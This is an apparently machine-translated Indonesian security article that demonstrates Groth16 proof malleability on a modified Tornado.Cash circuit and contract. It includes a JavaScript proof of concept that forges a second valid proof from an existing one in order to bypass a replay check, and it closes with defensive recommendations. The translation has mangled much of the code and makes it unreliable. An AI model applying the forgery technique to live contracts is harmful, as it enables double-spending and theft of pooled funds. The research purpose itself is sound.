Pada artikel sebelumnya, kami menjelaskan celah kelenturan dalam sistem pembuktian Groth16 itu sendiri dari perspektif prinsip.Pada artikel ini, kami akan mengambil proyek Tornado.Cash sebagai contoh, memodifikasi beberapa sirkuit dan kodenya, memperkenalkan serangan kelenturan proses dan saya berharap pihak proyek zkp lainnya juga akan memperhatikan langkah-langkah pencegahan yang sesuai dalam proyek tersebut. Diantaranya, Tornado.Cash menggunakan perpustakaan snarkjs untuk pengembangan, yang juga didasarkan pada proses pengembangan berikut, dan akan diperkenalkan langsung nanti.Jika Anda tidak terbiasa dengan perpustakaan, silakan baca artikel pertama dalam seri ini. (Beosin | Analisis mendalam tentang kerentanan zk-SNARK bukti nol-pengetahuan: Mengapa sistem bukti nol-pengetahuan tidak mudah?)! [346a815b39293aee95668fb9b2049873] (https://img-cdn.gateio.im/resized-social/moments-40baef27dd-96823e64cc-dd1a6f-1c6801 “7076908”)
(Sumber:
Proses interaksi Tornado.Cash terutama mencakup 4 entitas: * Pengguna: Gunakan DApp ini untuk melakukan transaksi privasi dengan mixer, termasuk setoran dan penarikan.
Pengguna pertama-tama melakukan operasi yang sesuai di halaman web front-end Tornado.Cash untuk memicu transaksi deposit atau penarikan, dan kemudian Relayer meneruskan permintaan transaksi ke kontrak Proxy Tornado.Cash pada rantai, dan meneruskannya ke yang sesuai Pool sesuai dengan jumlah transaksi, dan terakhir Untuk memproses deposit dan penarikan, struktur spesifiknya adalah sebagai berikut: ! [f471dfca152796f84a6389ff3a6d96ac] (https://img-cdn.gateio.im/resized-social/moments-40baef27dd-fa8e75c3b3-dd1a6f-1c6801 “7076909”) Sebagai pencampur mata uang, Tornado.Cash memiliki dua fungsi bisnis spesifik: * deposit : Saat pengguna melakukan transaksi setoran, pertama-tama ia memilih token yang disetor (BNB, ETH, dll.) dan jumlah yang sesuai di halaman web ujung depan.Untuk lebih memastikan privasi pengguna, hanya empat jumlah yang dapat disetor;
! [fc9fe4cf9b1b8528e2446d23f39afc9a] (https://img-cdn.gateio.im/resized-social/moments-40baef27dd-22994b5b68-dd1a6f-1c6801 “7076910”)
Sumber: <
Kemudian server akan menghasilkan dua bilangan acak 31 byte, nullifier dan secret, dan setelah disambung, lakukan operasi pedersenHash untuk mendapatkan komitmen, dan mengembalikan nullifier+secret plus awalan sebagai catatan kepada pengguna. : ! [83feeca678c53c26a5cfe70f55d29f10] (https://img-cdn.gateio.im/resized-social/moments-40baef27dd-64aba8733a-dd1a6f-1c6801 “7076911”)* Kemudian transaksi setoran dimulai untuk mengirim komitmen dan data lainnya ke Tornado.Cash Proxy contract on the chain , kontrak proxy meneruskan data ke Pool yang sesuai sesuai dengan jumlah deposit, dan akhirnya kontrak Pool memasukkan komitmen sebagai simpul daun ke dalam pohon merkle, dan menyimpan akar yang dihitung dalam kontrak Pool.
! [49898b341e39bdbebd651b5d3918faef] (https://img-cdn.gateio.im/resized-social/moments-40baef27dd-54deb436c4-dd1a6f-1c6801 “7076912”)
Sumber gambar: <* Kemudian server akan mengambil semua peristiwa penyimpanan Tornadocash di bawah rantai, mengekstrak komitmen untuk membangun pohon Merkle di bawah rantai, dan menghasilkan komitmen dan Merkle yang sesuai sesuai dengan data catatan (pembatal+rahasia) yang diberikan oleh pengguna Path dan root yang sesuai digunakan sebagai input sirkuit untuk mendapatkan bukti SNARK tanpa pengetahuan; akhirnya, transaksi penarikan dimulai ke kontrak Tornado.Cash Proxy pada rantai, dan kemudian melompat ke kontrak Pool yang sesuai untuk memverifikasi bukti sesuai dengan parameter, dan Uang dikreditkan ke alamat penerima yang ditentukan oleh pengguna.
Di antara mereka, inti penarikan Tornado.Cash sebenarnya adalah untuk membuktikan bahwa komitmen tertentu ada di pohon Merkle tanpa mengungkap nullifier dan rahasia yang dipegang oleh pengguna Struktur pohon Merkle spesifik adalah sebagai berikut: ! [a56d827c9d275989d6948e23280123ce] (https://img-cdn.gateio.im/resized-social/moments-40baef27dd-2215203ef5-dd1a6f-1c6801 “7076913”)## 2 Tornado.Cash magic versi modifikasi
Untuk artikel pertama Prinsip serangan daktilitas Groth16, kita tahu bahwa penyerang sebenarnya dapat menghasilkan beberapa Bukti berbeda dengan menggunakan nullifier dan rahasia yang sama.Jika pengembang tidak mempertimbangkan serangan pembelanjaan ganda yang disebabkan oleh pemutaran ulang Bukti, itu akan Mengancam pendanaan proyek . **Sebelum modifikasi ajaib Tornado.Cash, artikel ini pertama kali memperkenalkan kode di Pool tempat Tornado.Cash akhirnya menangani penarikan:
/** @dev Tarik deposit dari kontrak. proof adalah data bukti zkSNARK, dan input adalah larik sirkuit input publik larik masukan terdiri dari: - akar merkle dari semua simpanan dalam kontrak - hash dari pembatalan simpanan unik untuk mencegah pengeluaran ganda - penerima dana - biaya opsional yang berlaku ke pengirim transaksi (biasanya relay) */ function withdraw( bytes calldata _proof, bytes32 _root, bytes32 _nullifierHash, address payable _recipient, address payable _relayer, uint256 _fee, uint256 _refund ) external payable nonReentrant { membutuhkan(_biaya <= denominasi, “Biaya melebihi nilai transfer”); memerlukan(!nullifierHash[_nullifierHash], “Catatan telah dihabiskan”); memerlukan(isKnownRoot(_root), “Tidak dapat menemukan root merkle Anda”); // Pastikan untuk menggunakan yang terbaru require( verifier.verifyProof( _proof, [uint256(_root), uint256(_nullifierHash), uint256(_recipient), uint256(_relayer), _fee, _refund] ) , “Bukti penarikan tidak valid”); nullifierHash[_nullifierHash] = true; _prosesPenarikan(_recipient, _relayer, _fee, _refund); memancarkan Penarikan(_recipient, _nullifierHash, _relayer, _fee); }
Pada gambar di atas, untuk mencegah penyerang menggunakan Proof yang sama untuk melakukan serangan pembelanjaan ganda tanpa mengungkap nullifier dan rahasia, Tornado.Cash menambahkan nullifierHash sinyal publik ke sirkuit, yang diperoleh dengan hashing Pedersen dari nullifier dan dapat digunakan sebagai parameter Diteruskan ke rantai, kontrak Pool kemudian menggunakan variabel ini untuk mengidentifikasi apakah Bukti yang benar telah digunakan. Namun, jika pihak proyek tidak menggunakan metode modifikasi sirkuit, tetapi langsung merekam metode Proof untuk mencegah pengeluaran ganda, bagaimanapun, ini dapat mengurangi kendala sirkuit dan menghemat biaya, tetapi dapatkah mencapai tujuan? Untuk dugaan ini, artikel ini akan menghapus sinyal publik nullifierHash yang baru ditambahkan di sirkuit, dan mengubah verifikasi kontrak menjadi verifikasi Bukti. Karena Tornado.Cash memperoleh semua peristiwa deposit setiap kali ditarik, membangun pohon merkle dan kemudian memverifikasi apakah nilai root yang dihasilkan berada dalam 30 terbaru, seluruh proses terlalu merepotkan, sehingga sirkuit dalam artikel ini juga akan menghapus sirkuit merkleTree , Hanya sirkuit inti dari bagian penarikan yang tersisa, dan sirkuit spesifiknya adalah sebagai berikut:
sertakan “…/…/…/…/node_modules/circomlib/circuits/bitify.circom”; sertakan “…/…/…/…/node_modules/circomlib/circuits/pedersen.circom”;// menghitung Pedersen(nullifier + secret)template CommitmentHasher() { signal input nullifier; rahasia input sinyal; komitmen keluaran sinyal; // keluaran sinyal nullifierHash; // hapus komitmen komponenHasher = Pedersen(496); // komponen nullifierHasher = Pedersen(248); nullifierBits komponen = Num2Bits(248); komponen secretBits = Num2Bits(248); nullifierBits.in <== nullifier; secretBits.in <== rahasia; untuk ( i = 0; i < 248; i++) { // nullifierHasher.in [i] <== nullifierBits.out [i] ; // hapus komitmenHasher.in [i] <== nullifierBits.out [i] ; komitmenHasher.in[i + 248] <== secretBits.out [i] ; } komitmen <== komitmenHasher.out [0] ; // nullifierHash <== nullifierHasher.out [0] ; // hapus}// Memverifikasi bahwa komitmen yang sesuai dengan rahasia dan nullifier yang diberikan termasuk dalam pohon merkle dari komitmen output sinyal deposit; penerima input sinyal; // tidak mengambil bagian dalam perhitungan input sinyal relayer; // tidak ikut serta dalam perhitungan biaya input sinyal apa pun; // tidak mengambil bagian dalam pengembalian dana input sinyal perhitungan apa pun; // tidak mengambil bagian dalam perhitungan apa pun nullifier input sinyal; rahasia input sinyal; hasher komponen = CommitmentHasher(); hasher.nullifier <== nullifier; hasher.rahasia <== rahasia; komitmen <== hasher.komitmen; // Tambahkan sinyal tersembunyi untuk memastikan bahwa merusak penerima atau biaya akan membatalkan bukti snark // Kemungkinan besar tidak diperlukan, tetapi lebih baik tetap aman dan hanya membutuhkan 2 kendala // Kotak digunakan untuk mencegah pengoptimal agar tidak menghapus batasan tersebut penerima sinyalSquare; biaya sinyalSquare; Kotak relai sinyal; kotak pengembalian sinyal; penerimaSquare <== penerima * penerima; feeSquare <== biaya * biaya; relayerSquare <== relayer * relayer; refundSquare <== refund * refund;}component main = Withdraw(20);
Catatan: Kami menemukan selama eksperimen bahwa TornadoCash dalam versi terbaru kode di GitHub (sirkuit penarikan tidak memiliki sinyal keluaran dan memerlukan koreksi manual agar berjalan dengan benar. Menurut sirkuit yang dimodifikasi di atas, gunakan perpustakaan snarkjs, dll. Untuk mengikuti proses pengembangan yang diberikan di awal artikel ini selangkah demi selangkah, dan hasilkan Bukti normal berikut, yang dicatat sebagai bukti1:
Buktinya: { pi_a: [ 12731245758885665844440940942625335911548255472545721927606279036884288780352n, 11029567045033340566548367893304 052946457319632960669053932271922876268005970n, 1n ], pi_b: [ [ 442467028355646562219718754675409466783738316647961547451518218 3878046002081n, 8088104569927474555610665242983621221932062943927262293572649061565902268616n], [9194248463115986940359811 988096155965376840166464829609545491502209803154186n, 183731390739816966551368706658003939861308764981288870910870600683698 11557306n ], [ 1n, 0n ] ], pi_c: [ 1626407734863381433630916916203225704171957179582436403191883565668143772631n, 1037520490212 5491773178253544576299821079735144068419595539416984653646546215n, 1n], protokol: 'groth16 ', kurva: ‘bn128’}
Pertama-tama, kami menggunakan kontrak default yang dibuat oleh circom untuk verifikasi. Karena kontrak tidak merekam informasi terkait Bukti yang telah digunakan sama sekali, penyerang dapat memutar ulang bukti1 beberapa kali untuk menyebabkan serangan pembelanjaan ganda. Dalam percobaan berikut, buktinya dapat diputar ulang tanpa batas untuk input yang sama dari rangkaian yang sama, dan semuanya dapat lolos verifikasi. ! [caaf8474774d0ffaaea894961231e604] (https://img-cdn.gateio.im/resized-social/moments-40baef27dd-36bda9ebd9-dd1a6f-1c6801 “7076914”) Gambar di bawah ini adalah tangkapan layar percobaan menggunakan proof1 dalam kontrak default untuk membuktikan bahwa verifikasi lulus, termasuk artikel sebelumnya Proof parameter A, B, dan C used in , dan hasil akhir:
! [8796de83786dab2e1d2fe8988a2a8c3c] (https://img-cdn.gateio.im/resized-social/moments-40baef27dd-1d87d37558-dd1a6f-1c6801 “7076915”)
Gambar di bawah ini adalah hasil dari penggunaan proof1 yang sama untuk memanggil fungsi verifikasiProof beberapa kali untuk verifikasi bukti Eksperimen menemukan bahwa untuk input yang sama, tidak peduli berapa kali penyerang menggunakan proof1 untuk verifikasi, ia dapat melewati: ! [058bfa45cfac5803990db4cb707c737b] (https://img-cdn.gateio.im/resized-social/moments-40baef27dd-6f3b277d3a-dd1a6f-1c6801 “7076916”) Tentu saja, kami menguji di pustaka kode js asli snarkjs, dan tidak menggunakan Bukti yang telah lolos proteksi, hasil percobaan sebagai berikut: ## 2.2.2 Bukti Verifikasi - Kontrak Anti Replay Biasa
Untuk kerentanan pemutaran ulang dalam kontrak default yang dihasilkan oleh circom, artikel ini mencatat nilai dalam Bukti yang benar (bukti1) yang telah digunakan untuk mencegah serangan ulangan menggunakan bukti yang diverifikasi, seperti yang ditunjukkan pada gambar berikut: ! [9afeb481747b16752a00b70c5562bac2] (https://img-cdn.gateio.im/resized-social/moments-40baef27dd-384e9b2889-dd1a6f-1c6801 “7076917”) Lanjutkan menggunakan proof1 untuk verifikasi. Eksperimen menemukan bahwa saat menggunakan Bukti yang sama untuk verifikasi sekunder, transaksi dikembalikan Error: “Nota telah terpakai”, hasilnya seperti gambar di bawah ini: ! [40293d602538a60400dffa795e0454dd] (https://img-cdn.gateio.im/resized-social/moments-40baef27dd-d09fb1e9c2-dd1a6f-1c6801 “7076918”) Tapi Meskipun tujuan untuk mencegah serangan proof replay biasa telah tercapai saat ini, pengenalan sebelumnya Ada masalah kerentanan daktilitas dalam algoritma groth16, dan tindakan pencegahan ini masih bisa dilewati. Jadi kami membuat PoC pada gambar di bawah ini, dan menghasilkan sertifikat zk-SNARK palsu untuk input yang sama sesuai dengan algoritme di artikel pertama Eksperimen menemukan bahwa itu masih dapat lolos verifikasi. Kode PoC untuk membuat bukti palsu2 adalah sebagai berikut:
impor WasmCurve dari "/Users/saya/node_modules/ffjava/src/wasm_curve.js"impor ZqField dari "/Users/saya/node_modules/ffjava/src/f1field.js"impor groth16FullProve dari "/Users /saya/node_modules/snarkjs/src/groth16_fullprove.js"import groth16Verifikasi dari “/Users/saya/node_modules/snarkjs/src/groth16_verify.js”;impor * sebagai kurva dari “/Users /saya/node_modules/snarkjs/src/curves.js”;impor fs dari “fs”;impor { utils } dari “ffjava”;const {unstringifyBigInts} = utils;groth16_exp();fungsi asinkron groth16_exp (){ biarkan inputA = “7”; biarkan inputB = “11”; const SNARK_FIELD_SIZE = BigInt(‘21888242871839275222246405745257275088548364400416034343698204186575808495617’); // 2. 读取string后转化为int const proof = await unstringifyBigInts(JSON.parse(fs.readFileSync(“proof.json”,“utf8”))); console.log(“Buktinya:”,bukti); // 生成逆元,生成的逆元必须在F1域 const F = new ZqField(SNARK_FIELD_SIZE); // const F = new F2Field(SNARK_FIELD_SIZE); const X = Fe(“123456”) const invX = F.inv(X) console.log(“x:” ,X ) console.log(“invX” ,invX) console.log(“TimeScalar is:”, F.mul(X,invX)) // 读取椭圆曲线G1、G2点 const vKey = JSON.parse(fs.readFileSync(“verification_key.json”,“utf8”)); // console.log(“Kurvanya adalah:”,vKey); kurva const = menunggu kurva.getCurveFromName(vKey.curve); const G1 = kurva.G1; const G2 = kurva.G2; const A = G1.fromObject(bukti.pi_a); const B = G2.fromObject(bukti.pi_b); const C = G1.fromObject(bukti.pi_c); const baru_pi_a = G1.timesScalar(A, X); //A’=x*A const baru_pi_b = G2.timesScalar(B, invX); //B’=x^{-1}*B proof.pi_a = G1.toObject(G1.toAffine(A)); proof.new_pi_a = G1.toObject(G1.toAffine(new_pi_a)) proof.new_pi_b = G2.toObject(G2.toAffine(new_pi_b)) // 将生成的G1、G2 点转化为proof console.log(“proof.pi_a:”,proof.pi_a); console.log(“bukti.baru_pi_a:”,bukti.baru_pi_a) konsol.log(“bukti.baru_pi_b:”,bukti.baru_pi_b)}
Hasil forged proof proof2 ditunjukkan pada gambar di bawah ini: Saat menggunakan parameter ini untuk memanggil fungsi verifikasiProof lagi untuk verifikasi bukti, percobaan menemukan bahwa verifikasi bukti2 lolos lagi dalam kasus input yang sama, seperti yang ditunjukkan di bawah ini: ! [03d0f119ea666620685b4cece791a789] (https://img-cdn.gateio.im/resized-social/moments-40baef27dd-4c49de3755-dd1a6f-1c6801 “7076919”) Meskipun bukti2 yang dipalsukan hanya dapat digunakan sekali lagi, karena dipalsukan Jumlahnya hampir tak terbatas pembuktian, sehingga dapat menyebabkan dana akad ditarik tanpa batas. Artikel ini juga menggunakan kode js dari perpustakaan circom untuk menguji, dan hasil eksperimen proof1 dan fake proof2 dapat lolos verifikasi: ! [9153431b50b81dcadbf68930ded584c3] (https://img-cdn.gateio.im/resized-social/moments-40baef27dd-934c4ab3e4-dd1a6f-1c6801 “7076920”)## 2.2.3 Bukti verifikasi — kontrak putar ulang Tornado.Cash
Setelah begitu banyak kegagalan, bukankah ada cara untuk melakukannya sekali dan untuk selamanya? Di sini, menurut praktik verifikasi Tornado.Cash apakah input asli telah digunakan, artikel ini terus mengubah kode kontrak sebagai berikut: ! [28fabffcac9037a41e030db84f44f83b] (https://img-cdn.gateio.im/resized-social/moments-40baef27dd-dfa6f29d35-dd1a6f-1c6801 “7076921”) Perlu dicatat bahwa, untuk menunjukkan langkah-langkah sederhana untuk mencegah serangan lunak dari algoritme groth16, *\ *Artikel ini mengadopsi metode perekaman langsung input sirkuit asli, tetapi ini tidak sesuai dengan prinsip privasi bukti tanpa pengetahuan, dan input sirkuit harus dirahasiakan. **Misalnya, input di Tornado.Cash bersifat pribadi, dan input publik baru perlu ditambahkan untuk mengidentifikasi Bukti. Dalam makalah ini, karena tidak ada logo baru di sirkuit, privasinya relatif buruk dibandingkan dengan Tornado.Cash. Ini hanya digunakan sebagai demo eksperimental untuk menunjukkan hasil sebagai berikut: ! [ac4624fc066156979fae817e327c6224] (https://img-cdn.gateio.im/resized-social/moments-40baef27dd-440d87e977-dd1a6f-1c6801 “7076922”) Dapat ditemukan bahwa Bukti menggunakan input yang sama pada gambar di atas hanya dapat melewati bukti1 untuk pertama kali , maka baik bukti1 maupun bukti2 yang dipalsukan tidak dapat lolos verifikasi. ## 3 Rangkuman dan Rekomendasi
Makalah ini terutama memverifikasi keaslian dan kerugian dari kerentanan pemutaran ulang dengan memodifikasi sirkuit TornadoCash dan menggunakan kontrak default yang dihasilkan oleh Circom, yang biasa digunakan oleh pengembang, dan selanjutnya memverifikasi bahwa tindakan umum yang digunakan pada tingkat kontrak dapat melindungi dari pemutaran ulang kerentanan, tetapi tidak dapat mencegahnya. Serangan kelenturan Groth16, dalam hal ini, kami merekomendasikan bahwa proyek tanpa pengetahuan harus memperhatikan hal-hal berikut selama pengembangan proyek: * Tidak seperti DApps tradisional yang menggunakan data unik seperti alamat untuk menghasilkan data node, zkp proyek biasanya menggunakan kombinasi angka acak Untuk menghasilkan simpul pohon Merkle, Anda perlu memperhatikan apakah logika bisnis memungkinkan penyisipan simpul dengan nilai yang sama. **Karena data simpul daun yang sama dapat menyebabkan beberapa dana pengguna dikunci dalam kontrak, atau ada beberapa Bukti Merkle dalam data simpul daun yang sama yang membingungkan logika bisnis. **